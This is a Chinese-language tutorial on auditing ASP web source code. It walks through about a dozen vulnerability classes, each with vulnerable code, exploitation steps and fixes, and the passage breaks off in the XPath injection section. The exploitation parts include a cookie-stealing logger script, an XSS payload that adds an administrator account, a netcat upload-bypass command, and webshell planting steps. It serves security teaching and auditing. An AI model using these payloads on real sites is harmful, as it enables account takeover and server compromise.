Web源碼安全審計(jì)之ASP篇
0×01 ASP簡(jiǎn)介:
ASP是一種服務(wù)器端腳本編寫環(huán)境,可以用來創(chuàng)建和運(yùn)行動(dòng)態(tài)網(wǎng)頁或Web應(yīng)用程序。ASP網(wǎng)頁可以包含HTML標(biāo)記、普通文本、腳本命令以及COM組件等。利用ASP可以向網(wǎng)頁中添加交互式內(nèi)容(如在線表單),也可以創(chuàng)建使用HTML網(wǎng)頁作為用戶界面的web應(yīng)用程序。
0×02 ASP漏洞介紹:
一.數(shù)據(jù)庫路徑泄露 (DataBase Path Leak)
概述:數(shù)據(jù)庫路徑泄露主要表現(xiàn)在ASP+Access搭建的WEB中,當(dāng)攻擊者提交%5c的時(shí)候,IIS會(huì)解析錯(cuò)誤,導(dǎo)致輸出了真實(shí)數(shù)據(jù)庫路徑, %5c是\的十六進(jìn)制代碼,也就是\的另一種表示方法。
漏洞原理:我們?cè)谔峤粩?shù)據(jù)的時(shí)候,IE會(huì)自動(dòng)把%5c轉(zhuǎn)換成/,從而得到同一地址。在asp類型網(wǎng)站中,都會(huì)用到一個(gè)數(shù)據(jù)庫連接的文件,名字一般是conn.asp。
漏洞代碼:這里我用動(dòng)力文章系統(tǒng)做案例,代碼如下:
- <%
- dim conn
- dim connstr
- dim db
- db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '數(shù)據(jù)庫文件的位置
- Set conn = Server.CreateObject("ADODB.Connection")
- connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
- conn.Open connstr
- %>
漏洞利用:當(dāng)訪問http://www.aspmps.com/cn%5cconn.asp IIS就會(huì)報(bào)錯(cuò)將數(shù)據(jù)庫絕對(duì)路徑輸出到客戶端,如下圖所示
當(dāng)數(shù)據(jù)庫路徑被泄露,攻擊者就可以將數(shù)據(jù)庫下載到本地,找到表中的后臺(tái)管理員賬戶和密碼,這樣就可以輕松進(jìn)入網(wǎng)站的后臺(tái)管理,此漏洞只針對(duì)于ACCESS數(shù)據(jù)庫,SQL server數(shù)據(jù)庫不受影響。 動(dòng)力系統(tǒng)的暴庫問題已久,去年360公司為此發(fā)布一則公告,多家媒體都有轉(zhuǎn)載 鏈接地址:http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html。
漏洞修復(fù):修補(bǔ)此漏洞的方法有2種,第一種在conn.open connstr 代碼之前加入 On Error Resume Next ,第二種方法在IIS服務(wù)器配置選項(xiàng)中選擇“向客戶端發(fā)送下列文本錯(cuò)誤消息”。如下圖2
#p#
二.跨站腳本攻擊(Cross-Site Scripting)
概述:Cross-site scripting(XSS),是一種經(jīng)常出現(xiàn)在Web應(yīng)用中的計(jì)算機(jī)安全漏洞,它允許惡意Web用戶將代碼植入到提供給其它用戶使用的頁面中。比如,包括HTML代碼和客戶端腳本的頁面。為不和層疊樣式表(CSS)的縮寫混淆,通常將跨站腳本縮寫為XSS。攻擊者一般會(huì)利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)或發(fā)起phishing攻擊,網(wǎng)頁掛馬,cookie竊取等。Xss跨站攻擊分為兩種,一種反射型攻擊,還有一種存儲(chǔ)型攻擊。反射型攻擊和源碼審計(jì)關(guān)系不大,在此略過,重點(diǎn)介紹下存儲(chǔ)型攻擊。
漏洞原理:存儲(chǔ)型攻擊就是將惡意代碼通過交互頁面植入數(shù)據(jù)庫中,當(dāng)管理員訪問到調(diào)用惡意代碼的頁面時(shí),攻擊變產(chǎn)生了。例如在某系統(tǒng)留言反饋欄目中留言內(nèi)容表單未經(jīng)過安全處理,客戶端可以任意提交惡意代碼,導(dǎo)致了XSS跨站漏洞。
漏洞代碼:
- <%
- Content = ""
- For i = 1 To Request.Form("Content").Count
- Content = Content & Request.Form("Content")(i)
- Next
- ………… //省略部分代碼
- rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)
- rs("Guest_TEL")=HTMLEncode(Guest_TEL)
- rs("Guest_FAX")=HTMLEncode(Guest_FAX)
- rs("Content")=Content
- rs.Update
- %>
上述代碼中Request.Form方法獲取的content值沒有經(jīng)過安全處理,造成可以XSS存儲(chǔ)型攻擊。
漏洞利用:
攻擊者在留言內(nèi)容框中輸入上述代碼后,當(dāng)后臺(tái)管理員查看了此條留言,則跨站攻擊生效,這時(shí)候?qū)⒐芾韱T的COOKIES信息發(fā)送到 xxx域名下保存起來。cookies.asp文件功能是生成個(gè)文件保存管理員的COOKIES信息,代碼如下:
- <%
- c=Request.ServerVariables("QUERY_STRING")
- testfile=Server.MapPath("cookies.txt")
- set fs=server.CreateObject("scripting.filesystemobject")
- set thisfile=fs.OpenTextFile(testfile,8,True,0)
- thisfile.Writeline(""&c& "")
- thisfile.close
- set fs = nothing
- %>
漏洞修復(fù):將“< ’ ” >”標(biāo)簽進(jìn)行HTML編碼。#p#
三.跨站請(qǐng)求偽造攻擊(Cross Site Request Forgery)
概述:CSRF是Cross Site Request Forgery的縮寫,直譯過來就是跨站請(qǐng)求偽造的意思,通常用來指 WEB 網(wǎng)站的這一類漏洞,即在某個(gè)惡意站點(diǎn)的頁面上,促使訪問者請(qǐng)求你的網(wǎng)站的某個(gè) URL ,從而達(dá)到改變服務(wù)器端數(shù)據(jù)的目的。
漏洞原理:結(jié)合跨站漏洞,利用JS腳本代碼,做管理員身份才能做的事,但這種動(dòng)作非管理員本身的請(qǐng)求。
漏洞代碼:此系統(tǒng)中有個(gè)安全過濾函數(shù)HTMLEncode,代碼如下:
- Public Function HTMLEncode(str)
- If Not IsNull(str) Then
- str = Replace(str, Chr(38), "&")
- str = Replace(str, "<", "<")
- str = Replace(str, ">", ">")
- str = Replace(str, Chr(9), " ")
- str = Replace(str, Chr(32), " ")
- str = Replace(str, Chr(34), """)
- str = Replace(str, Chr(39), "'")
- str = Replace(str, Chr(13) & Chr(10), "
- ")
- str = Replace(str, Chr(10), "
- ")
- str = Replace(str, Chr(13), "
- ")
- HTMLEncode = str
- End If
- End Function
- //以下是漏洞關(guān)鍵點(diǎn)
- Content = ""
- For i = 1 To Request.Form("Content").Count
- Content = Content & Request.Form("Content")(i)
- Next
- ………… //省略部分代碼
- rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)
- rs("Guest_TEL")=HTMLEncode(Guest_TEL)
- rs("Guest_FAX")=HTMLEncode(Guest_FAX)
- rs("Content")=Content
- rs.Update
上述代碼中Content變量經(jīng)過Request.Form獲取后并沒有像Guest_FAX變量這樣經(jīng)過HTMLEncode過濾。
漏洞利用:利用方法如圖所示
Xss.js腳本作用是執(zhí)行添加一個(gè)新的管理員topsec。代碼如下:
- var request = false;
- if(window.XMLHttpRequest) {
- request = new XMLHttpRequest();
- if(request.overrideMimeType) {
- request.overrideMimeType('text/xml');
- }
- } else if(window.ActiveXObject) {
- var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- for(var i=0; i<versions.length; i++) {
- try {
- request = new ActiveXObject(versions[i]);
- } catch(e) {}
- }
- }
- xmlhttp=request;
- add_admin();
- function add_admin(){
- var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add";
- var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";
- xmlhttp.open("POST", url, true);
- xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- xmlhttp.setRequestHeader("Content-length", params.length);
- xmlhttp.setRequestHeader("Connection", "close");
- xmlhttp.send(params);
- }
植入如圖所示的一段代碼后,當(dāng)管理員進(jìn)入后臺(tái)去查看此留言的時(shí)候就會(huì)觸發(fā)該漏洞,系統(tǒng)會(huì)自動(dòng)給我們加上賬戶為topsec,密碼為123456的管理員。
漏洞修復(fù):加入token認(rèn)證,修復(fù)前臺(tái)跨站漏洞。#p#
四.任意文件下載(Arbitrary File Download)
概述:如果系統(tǒng)存在stream流模式下載模塊,而對(duì)應(yīng)下載文件的地址沒有做過安全過濾處理,則會(huì)發(fā)生任何文件都可被下載的安全隱患,在windows平臺(tái)下此問題更加嚴(yán)重。
漏洞原理:Windows系統(tǒng)支持“.asp+空格”和“.asp+.”等同于“.asp”文件,如果存在下載模塊未加驗(yàn)證,則可以下載任意文件。
漏洞代碼:下面以沸騰展望系統(tǒng)經(jīng)典下載漏洞源碼做介紹。關(guān)鍵源碼如下:
- <%
- Dim Stream
- Dim Contents
- Dim FileName
- Dim TrueFileName
- Dim FileExt
- Dim SavePath
- Const adTypeBinary = 1
- FileName = Request.QueryString("FileName")
- If FileName = "" Then
- Response.Write "無效文件名!"
- Response.End
- End if
- FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
- Select Case UCase(FileExt)
- Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
- Response.Write "非法操作!"
- Response.End
- End Select
- Response.Clear
- if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
- Response.ContentType = "image/*" '對(duì)圖像文件不出現(xiàn)下載對(duì)話框
- else
- Response.ContentType = "application/ms-download"
- end if
- Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
- Set Stream = server.CreateObject("ADODB.Stream")
- Stream.Type = adTypeBinary
- Stream.Open
- SavePath = FileUploadPath '存放上傳文件的目錄
- TrueFileName = SavePath & FileName
- Stream.LoadFromFile Server.MapPath(TrueFileName)
- While Not Stream.EOS
- Response.BinaryWrite Stream.Read(1024 * 64)
- Wend
- Stream.Close
- Set Stream = Nothing
- Response.Flush
- Response.End
- %>
上述代碼粗體部分是漏洞形成的關(guān)鍵代碼,首先程序通過 Request.QueryString(“FileName”) 方法指定任意文件名,雖然程序在下面判斷了文件后綴名,可是并沒有對(duì)后綴名進(jìn)行安全處理,導(dǎo)致客戶端可以在后綴名之后加上空格的URL編碼從而繞過程序的驗(yàn)證,文件被下載。
漏洞利用:利用方法如下圖
如圖上所示當(dāng)攻擊者在瀏覽器的地址欄中輸入“down.asp?filename=./cn/index.asp%20”, %20就是經(jīng)過URL編碼后的空格,%2E就是經(jīng)過URL編碼后的“.”,提交后迅雷就會(huì)提示下載。
漏洞修復(fù):修補(bǔ)的方法也很簡(jiǎn)單,下載文件前最好帶入數(shù)據(jù)庫查詢,存在則下載。還有種方法,用正則表達(dá)式去限制。#p#
五.無組件上傳(File Upload)
概述:上傳漏洞在ASP程序漏洞中表現(xiàn)的格外搶眼,各種利用手法層出不窮,以下就分別介紹最常見的三種上傳漏洞,分別是“截?cái)嗌蟼髀┒?rdquo; , “變量繼承上傳漏洞” , “驗(yàn)證不嚴(yán)謹(jǐn)上傳漏洞” 。
漏洞原理:有十六進(jìn)制截?cái)啵兞窟壿嬂^承,對(duì)后綴名驗(yàn)證不嚴(yán)謹(jǐn),還有的壓根不驗(yàn)證后綴名的上傳。
漏洞代碼:1.首選介紹截?cái)嗌蟼?,?dòng)網(wǎng)論壇作為曾經(jīng)風(fēng)靡一時(shí)的ASP論壇,也被爆出了各種漏洞,其中以上傳漏洞最具代表性,下面就以知名程序動(dòng)網(wǎng)來做分析。出現(xiàn)漏洞的文件位于Upfile.asp,核心代碼如下:
- <%
- dim upload,file,formName,formPath,iCount,filename,fileExt
- set upload=new upload_5xSoft
- formPath=upload.form("filepath") '//漏洞關(guān)鍵點(diǎn)
- if right(formPath,1)<>"/" then formPath=formPath&"/"
- for each formName in upload.objFile
- set file=upload.file(formName)
- fileExt=lcase(right(file.filename,4)) '//從文件名中截取后4位,并轉(zhuǎn)換為小寫字符。
- if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" and fileEXT<>".rar" and fileEXT<>".swf"then
- response.write "文件格式不正確 [ 重新上傳 ]"
- response.end
- end if
- randomize
- ranNum=int(90000*rnd)+10000
- filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt '//漏洞關(guān)鍵點(diǎn)filename由提交的文件路徑+年月日的隨機(jī)文件名+轉(zhuǎn)換后的擴(kuò)展名組成
- if file.FileSize>0 then
- file.SaveAs Server.mappath(FileName)
- response.write "上傳成功!"
- end if
- set file=nothing
- %>
上述代碼雖然對(duì)上傳的文件類型做了判斷,但是在最后保存的時(shí)候加上了formPath這個(gè)值,而這個(gè)值從客戶端提交過來的,攻擊者就可以偽造個(gè)數(shù)據(jù)包??蛻舳颂峤淮a如下:
攻擊者將正常數(shù)據(jù)包抓取后修改formPath = “../images/a.asp” + 空格,然后用C32ASM 16進(jìn)制模式修改空格變成00。因?yàn)?0是終止符,上傳的時(shí)候程序檢測(cè)到00后就認(rèn)為上傳已經(jīng)結(jié)束。如下圖所示
修改保存后用NC提交,在CMD下輸入 nc www.aspmps.com 80<1.txt 即可上傳成功。如下圖所示
修復(fù)此漏洞的辦法其實(shí)也很簡(jiǎn)單,只需檢查文件上傳名種是否存在chr(0),若存在用Replace函數(shù)替換即可。
2. 變量繼承上傳漏洞:當(dāng)上傳多個(gè)文件的時(shí)候某些上傳程序變量邏輯混亂造成了變量繼承,在下面就用大名鼎鼎的自由動(dòng)力文章系統(tǒng)來做分析。攻擊者可制作個(gè)HTML表單同時(shí)上傳2個(gè)文件,第一個(gè)FILE控件中選擇正常的rar文件,第二個(gè)FILE控件中選擇一個(gè)Cer文件,在這個(gè)cer文件中寫入ASP一句話木馬。再修改Form中的Action值即可提交成功。如下圖
Upfile_Soft.asp漏洞核心代碼如下:
- <%
- const UpFileType="rar|zip|exe|mpg|rm|wav|mid"
- dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize
- dim EnableUpload
- dim arrUpFileType
- dim ranNum
- dim msg,FoundErr
- msg=""
- FoundErr=false
- EnableUpload=false
- for each formName in upload.file '列出所有上傳了的文件
- set ofile=upload.file(formName) '生成一個(gè)文件對(duì)象
- oFileSize=ofile.filesize
- if oFileSize<100 then="" msg="請(qǐng)先選擇你要上傳的文件!" founderr="True" elseif="" ofilesize="">(MaxFileSize*1024) then
- msg="文件大小超過了限制,最大只能上傳" & CStr(MaxFileSize) & "K的文件!"
- FoundErr=true
- end if
- fileExt=lcase(ofile.FileExt)
- arrUpFileType=split(UpFileType,"|")
- for i=0 to ubound(arrUpFileType)
- if fileEXT=trim(arrUpFileType(i)) then
- EnableUpload=true ' 第一關(guān)上傳文件符合rar后綴名,EnableUpload = true
- exit for
- end if
- next
- if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
- EnableUpload=false '第二關(guān)檢驗(yàn)是否屬于三種禁傳類型,因?yàn)椴粚儆冢兞縀nableUpload仍為true。
- end if
- if EnableUpload=false then ' 第三關(guān) 如果EnableUpload=false,那么FoundErr=true,而前面?zhèn)鬟f來的EnableUpload=true,那FoundErr仍為進(jìn)入第一個(gè)FOR循環(huán)之前的false。
- msg="這種文件類型不允許上傳!\n\n只允許上傳這幾種文件類型:" & UpFileType
- FoundErr=true
- end if
- if FoundErr<>true then ' 第四關(guān) 如果FoundErr<>true就可以通過,看一下從第三關(guān)傳遞過來的FoundErr的值,是 false,可以上傳。
- FileName=SavePath & ofile.FileName
- If IsObjInstalled("Scripting.FileSystemObject") Then
- dim fso
- set fso=CreateObject("Scripting.FileSystemObject")
- if fso.FileExists(Server.mappath(FileName)) then
- randomize
- ranNum=int(900*rnd)+100
- filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
- end if
- set fso=nothing
- end if
- ofile.SaveToFile Server.mappath(FileName)
- %>
上述代碼加了四個(gè)關(guān)鍵關(guān)卡注釋,自cer進(jìn)行上傳驗(yàn)證開始,一直未出現(xiàn)FoundErr,F(xiàn)oundErr的值是什么?它還是rar上傳后的值false,而第四關(guān)的驗(yàn)證就是只要 FoundErr不是true就可以上傳,所以,這個(gè)cer文件也就通過了層層關(guān)卡,進(jìn)入了服務(wù)器。驚奇的是在最新的研究發(fā)現(xiàn)即使上面的漏洞被修復(fù)了,加上服務(wù)器操作系統(tǒng)式windows2003的話,攻擊者可以直接上傳1.asp;.mpg后綴名的一句話木馬文件。如下圖所示
3. 驗(yàn)證不嚴(yán)謹(jǐn)上傳漏洞:這種后綴名驗(yàn)證不嚴(yán)謹(jǐn)漏洞存在很多情況,動(dòng)感上傳漏洞具有代表性。下面就以動(dòng)感購物系統(tǒng)的上傳模塊做分析。這種上傳漏洞的利用需要攻擊者通過某些手段進(jìn)入后臺(tái)后配置上傳文件允許的后綴名“cer|ccerer”。如下圖所示
然后通過后臺(tái)圖片上傳功能,直接上傳后綴名為ccerer的一句話木馬文件即可。產(chǎn)生這個(gè)漏洞的核心代碼如下:
- <%
- Private Function FixName(Byval UpFileExt)
- If IsEmpty(UpFileExt) Then Exit Function
- FixName = Lcase(UpFileExt)
- FixName = Replace(FixName,Chr(0),"")
- FixName = Replace(FixName,".","")
- FixName = Replace(FixName,"'","")
- FixName = Replace(FixName,"asp","")
- FixName = Replace(FixName,"asa","")
- FixName = Replace(FixName,"aspx","")
- FixName = Replace(FixName,"cer","") '第一關(guān)檢查,ccerer變成了cer 成功繞過
- FixName = Replace(FixName,"cdx","")
- FixName = Replace(FixName,"htr","")
- FixName = Replace(FixName,"shtml","")
- End Function
- Private Function CheckFileExt(FileExt)
- Dim Forumupload,i
- CheckFileExt=False
- If FileExt="" or IsEmpty(FileExt) Then
- CheckFileExt = False
- Exit Function
- End If
- If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="shtml" Then ' 第二關(guān) cer并不在檢測(cè)范圍內(nèi),成功繞過
- CheckFileExt = False
- Exit Function
- End If
- Forumupload = Split(InceptFile,",")
- For i = 0 To ubound(Forumupload)
- If FileExt = Trim(Forumupload(i)) Then ' 第三關(guān) cer后綴名在數(shù)據(jù)庫變量中 成功匹配
- CheckFileExt = True
- Exit Function
- Else
- CheckFileExt = False
- End If
- Next
- End Function
- %>
攻擊者提交的后綴名是ccerer,經(jīng)過FixName = Replace(FixName,”cer”,”") 后 ccerer中間的cer已經(jīng)被過濾掉了,但又變成了cer后綴,這樣程序就過了第一關(guān)的檢測(cè)。 如下圖所示
接下來程序繼續(xù)檢查是后綴名和指定類型名是否一致,一致的話則是非法文件,可惜程序并沒有檢查cer文件,這樣cer文件就過了第二關(guān)。接下來程序檢測(cè)文件的后綴名是否在后臺(tái)配置文件中,若匹配成功則上傳。如下圖所示
這樣攻擊者的cer文件就成功的上傳到服務(wù)器上,由于IIS擴(kuò)展映射中存在將cer等同于asp 文件處理,所以造成了上傳漏洞。如下圖所示
當(dāng)然還有一些其他的漏洞類型,如 “可以上傳任意文件”,“突破MIME文件頭驗(yàn)證上傳”,“Javascript本地驗(yàn)證上傳”等等,總的來說以上這三種上傳漏洞具有代表性。#p#
六.Cookies欺騙(Cookies Spoofing)
概述:在只對(duì)用戶做Cookies驗(yàn)證的系統(tǒng)中,通過修改Cookies的內(nèi)容來得到相應(yīng)的用戶權(quán)限登錄。Cookies欺騙在入侵中經(jīng)常用到,通過修改Cookies的內(nèi)容來得到相應(yīng)的用戶權(quán)限登錄,從而達(dá)到攻擊的目的。
漏洞原理:到底什么是Cookies,它有什么作用呢?Cookies是一種能夠讓網(wǎng)站服務(wù)器把少量數(shù)據(jù)儲(chǔ)存到客戶端的硬盤或內(nèi)存,或是從客戶端的硬盤讀取數(shù)據(jù)的一種技術(shù)。Cookies是當(dāng)你瀏覽某網(wǎng)站時(shí),由Web服務(wù)器置于你硬盤上的一個(gè)非常小的文本文件,它可以記錄你的用戶ID、密碼、瀏覽過的網(wǎng)頁、停留的時(shí)間等信息。
漏洞代碼:接下來還是以自由動(dòng)力文章系統(tǒng)做案例,訪問后臺(tái)文件UploadSoft.asp必須通過授權(quán)驗(yàn)證,此程序通過Cookies驗(yàn)證造成了安全隱患。沒設(shè)置Cookies之前如圖所示
關(guān)鍵代碼如下:
- <%
- if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then
- response.Write("請(qǐng)登錄后再使用本功能!")
- else
- select case upload_type
- case 0
- call upload_0() '使用化境無組件上傳類
- case else
- response.write "本系統(tǒng)未開放插件功能"
- response.end
- end select
- end if
- %>
代碼中IF語句判斷有問題,如果Session和Cookies值都為空則不能繼續(xù)執(zhí)行,否則可以調(diào)用上傳函數(shù)upload_0()。 那攻擊者只需要做到滿足Cookies值不為空就可以調(diào)用上傳函數(shù)了,這個(gè)上傳函數(shù)在上一節(jié)已經(jīng)提到過存在變量繼承上傳漏洞,這兩個(gè)漏洞一結(jié)合危害就很大了。
漏洞利用:用火狐插件修改成asp163=UserName=asp設(shè)置Cookies后如下圖所示
這樣就繞過了Cookies的驗(yàn)證,造成可以上傳文件,為后來變量繼承漏洞的成功實(shí)現(xiàn)創(chuàng)造了條件。
漏洞修復(fù):可以加密Cookies,后臺(tái)關(guān)鍵文件最好用Session去驗(yàn)證。#p#
七.本地文件包含(Local File Inclusion)
概述:ASP Execute方法的作用是執(zhí)行一個(gè)來自于其他ASP文件內(nèi)部的ASP程序。
漏洞原理:當(dāng)其他ASP文件內(nèi)的程序被請(qǐng)求執(zhí)行完畢之后,控制器將返回最初發(fā)出請(qǐng)求的原始ASP文件。與PHP包含漏洞不同的是Execute方法只能包含本地文件。
漏洞代碼:
<%Server.Execute(Request.QueryString("file"))%>
equest方法獲取的參數(shù)file沒經(jīng)過安全處理,被Execute方法執(zhí)行了。
漏洞利用:若某個(gè)應(yīng)用程序不存在上傳漏洞,那么攻擊者可以上傳個(gè)正常圖片格式的文件,文件中包換ASP腳本代碼,這時(shí)候就可以用本地包含漏洞去執(zhí)行圖片中的ASP代碼。如下圖所示
如果jpg里寫入的ASP小馬,那就可以輕松得到一個(gè)WebShell。
漏洞修復(fù):盡量系統(tǒng)指定執(zhí)行文件,不要讓客戶端提交參數(shù),實(shí)在需要?jiǎng)討B(tài)改變參數(shù),可以輔助一個(gè)匹配文件,若客戶端提交的參數(shù)在文件中出現(xiàn),則可以執(zhí)行,否則不允許繼續(xù)執(zhí)行。#p#
八.路徑操控(Path Manipulation)
概述:用戶輸入控制 file system 操作所用的路徑,借此攻擊者可以訪問或修改其他受保護(hù)的系統(tǒng)資源。
漏洞原理:當(dāng)滿足以下兩個(gè)條件時(shí),就會(huì)產(chǎn)生path manipulation 錯(cuò)誤:
1. 攻擊者能夠指定某一 file system操作中所使用的路徑。
2. 攻擊者可以通過指定特定資源來獲取某種權(quán)限,而這種權(quán)限在一般情況下是不可能獲得的。
漏洞代碼:下面以經(jīng)典的Ewebeditor編輯器做分析,在編輯器文件管理處存在一個(gè)路徑操控漏洞,攻擊者可以指定路徑的讀取范圍,造成安全隱患。
- <%
- Function InitParam()
- sStyleID = Trim(Request("id"))
- sUploadDir = ""
- If IsNumeric(sStyleID) = True Then
- sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID
- oRs.Open sSql, oConn, 0, 1
- If Not oRs.Eof Then
- sUploadDir = oRs(0)
- End If
- oRs.Close
- End If
- If sUploadDir = "" Then
- sStyleID = ""
- Else
- sUploadDir = Replace(sUploadDir, "\", "/")
- If Right(sUploadDir, 1) <> "/" Then
- sUploadDir = sUploadDir & "/"
- End If
- End If
- sCurrDir = sUploadDir
- ' 樣式下的目錄
- sDir = Trim(Request("dir"))
- If sDir <> "" Then
- If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
- sCurrDir = sUploadDir & sDir & "/"
- Else
- sDir = ""
- End If
- End If
- End Function
- %>
若攻擊者想利用此漏洞需要滿足2個(gè)條件,第一sStyleID這個(gè)值不能為空,并且是數(shù)據(jù)庫中存在的ID號(hào)。第二 sDir 這個(gè)變量沒有經(jīng)過任何安全處理,帶入到 sCurrDir 變量中,只是最后不需要輸入“/”。
漏洞利用:admin_uploadfile.asp?id=22&dir=../.. 執(zhí)行后將跳轉(zhuǎn)到2個(gè)上級(jí)目錄下,攻擊者可以刪除任意文件和文件夾。如下圖所示
漏洞修復(fù):針對(duì)此漏洞建議用Replace函數(shù)過濾掉“..” 。#p#
九.表單提交欺騙(Spoofed Form Submit)
概述:表單提交是當(dāng)前Web應(yīng)用中的重要內(nèi)容,用戶可以通過這種方式與服務(wù)器進(jìn)行數(shù)據(jù)傳遞。在通常情況下,會(huì)在提交表單之前在服務(wù)器上進(jìn)行表單數(shù)據(jù)的驗(yàn)證,這樣可以節(jié)省服務(wù)器資源,但同時(shí)也為服務(wù)器帶來了安全漏洞。
漏洞原理:顧名思義Web程序只是在客戶端用JavaScript驗(yàn)證了合法性,并沒有在服務(wù)端驗(yàn)證數(shù)據(jù)的合法性。
漏洞代碼:下面以上傳頁面做為案例分析
漏洞利用:攻擊者只需要禁用瀏覽器中的活動(dòng)腳本和Javascript腳本就可以發(fā)動(dòng)一次攻擊。禁用如下圖所示:
第二種方法制作個(gè)HTML頁面,只需將JS腳本刪除,再將Action值改成需要攻擊的目標(biāo)網(wǎng)址即可。
漏洞修復(fù):客戶端和服務(wù)端都要做驗(yàn)證,客戶端做驗(yàn)證能提高用戶體驗(yàn),服務(wù)端再驗(yàn)證能保證數(shù)據(jù)安全。
十.Http請(qǐng)求偽造(Spoofed HTTP Request)
概述:一個(gè)比欺騙表單更高級(jí)和復(fù)雜的攻擊方式是HTTP請(qǐng)求欺騙。這給了攻擊者完全的控制權(quán)與靈活性,它進(jìn)一步證明了不能盲目信任用戶提交的任何數(shù)據(jù)??吹酱蠖鄶?shù)瀏覽器會(huì)包含一個(gè)來源的URL值,你可能會(huì)試圖使用Request.ServerVariables(“HTTP_REFERER”)變量去防止欺騙。確實(shí),這可以用于對(duì)付利用標(biāo)準(zhǔn)瀏覽器發(fā)起的攻擊,但攻擊者是不會(huì)被這個(gè)小麻煩給擋住的。通過編輯HTTP請(qǐng)求的原始信息,攻擊者可以完全控制HTTP頭部的值,GET和POST的數(shù)據(jù),以及所有在HTTP請(qǐng)求的內(nèi)容。
漏洞原理:通過Request.ServerVariables 去驗(yàn)證數(shù)據(jù)來源的合法性,依舊不可靠,畢竟一切從Request獲取的值都可以被偽造出來的。
漏洞代碼:下面以ASP中經(jīng)典驗(yàn)證來源的代碼做分析
- <%
- Dim From_url , Serv_url
- From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
- Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
- If Mid(From_url,8,Len(Serv_url)) <> Serv_url then
- Response.Write "非法鏈接!"
- Response.End
- End if
- %>
上述代碼中2個(gè)判斷的值均來自客戶端環(huán)境變量,判斷思路是目標(biāo)地址和來源地址的域名是否一致,不一致則認(rèn)為是非法訪問,這段代碼常用于防盜鏈模塊中。
漏洞利用:用法HTTP代理軟件構(gòu)造一個(gè)特定的數(shù)據(jù)包,在HTTP頭加上Referer 。如下圖所示
漏洞修復(fù):驗(yàn)證數(shù)據(jù)來源的真實(shí)性還是應(yīng)該放在服務(wù)端,Request變量獲取的值都是不可靠的。#p#
十一.代碼注入(Code Injection)
概述:許多現(xiàn)代編程語言都允許動(dòng)態(tài)解析源代碼指令。 如果程序員需要由用戶提供的指令對(duì)數(shù)據(jù)操作,這種情況下可以應(yīng)用這種功能。當(dāng)然,我們更愿意利用底層語言構(gòu)造,而不是通過執(zhí)行代碼來解析用戶輸入。 由用戶提供的指令預(yù)期執(zhí)行一些無害的操作,例如,對(duì)當(dāng)前的用戶對(duì)象進(jìn)行簡(jiǎn)單計(jì)算或修改用戶對(duì)象的狀態(tài),等等。然而,如果程序員不夠細(xì)心,用戶指定的操作范圍可能會(huì)超出程序員最初的設(shè)想。
漏洞原理:ASP應(yīng)用程序中若存在Eval ,Execute ,ExecuteGlobal 函數(shù)使用時(shí),要格外注意它們的使用環(huán)境,若從外部獲取參數(shù),沒有經(jīng)過安全處理 就會(huì)造成安全隱患。Eval() 計(jì)算表達(dá)式的值,并且返回一個(gè)結(jié)果,Execute() 執(zhí)行一個(gè)或多個(gè)指定的語句。多個(gè)語句間用冒號(hào)(:)隔開 ,ExecuteGlobal() 在全局名字空間中執(zhí)行一個(gè)或多個(gè)指定的語句。
漏洞代碼:
<%=Eval(Request("parma"))%>
上述代碼用戶提交parma的方法有GET,POST,COOKIE三種,攻擊者可以精心構(gòu)造出ASP的小馬提交就可以執(zhí)行,安全隱患相當(dāng)大,在源碼審計(jì)的過程中要額外注意它們的使用。
漏洞利用:
若攻擊者給parma參數(shù)值等于VB里的Now()函數(shù),就會(huì)把當(dāng)前的時(shí)間輸出出來,這里代碼用Eval函數(shù)執(zhí)行的,若是Execute 和 ExecuteGlobal函數(shù)則不會(huì)輸出到網(wǎng)頁中。
漏洞修復(fù):謹(jǐn)慎使用此三個(gè)函數(shù),若需要?jiǎng)討B(tài)執(zhí)行,則只讓用戶輸入和本地文件中匹配的字符,若不匹配則不可以執(zhí)行。
十二.XML中的XPATH注入(Xpath Injection)
概述:Xml文檔存儲(chǔ)數(shù)據(jù)時(shí),若查詢數(shù)據(jù)不經(jīng)過安全過濾也會(huì)和關(guān)系型數(shù)據(jù)庫一樣,產(chǎn)生注入漏洞,在這里我們總結(jié)成XPATH注入漏洞,在這里它更像是ACCESS數(shù)據(jù)庫。
漏洞原理: 如同Access數(shù)據(jù)庫一樣,XML文檔只是保存數(shù)據(jù)用的,若程序?qū)τ脩籼峤坏臄?shù)據(jù)沒有經(jīng)過安全處理,則會(huì)導(dǎo)致安全問題,在這里最常見的莫過于經(jīng)典的萬能密碼。
漏洞代碼:
- <%
- function SelectXmlNodeText(elementname,elementpass)
- On Error Resume Next
- elementname="//"&"root/row[name='"&elementname&"' and password='"&elementpass&"']"
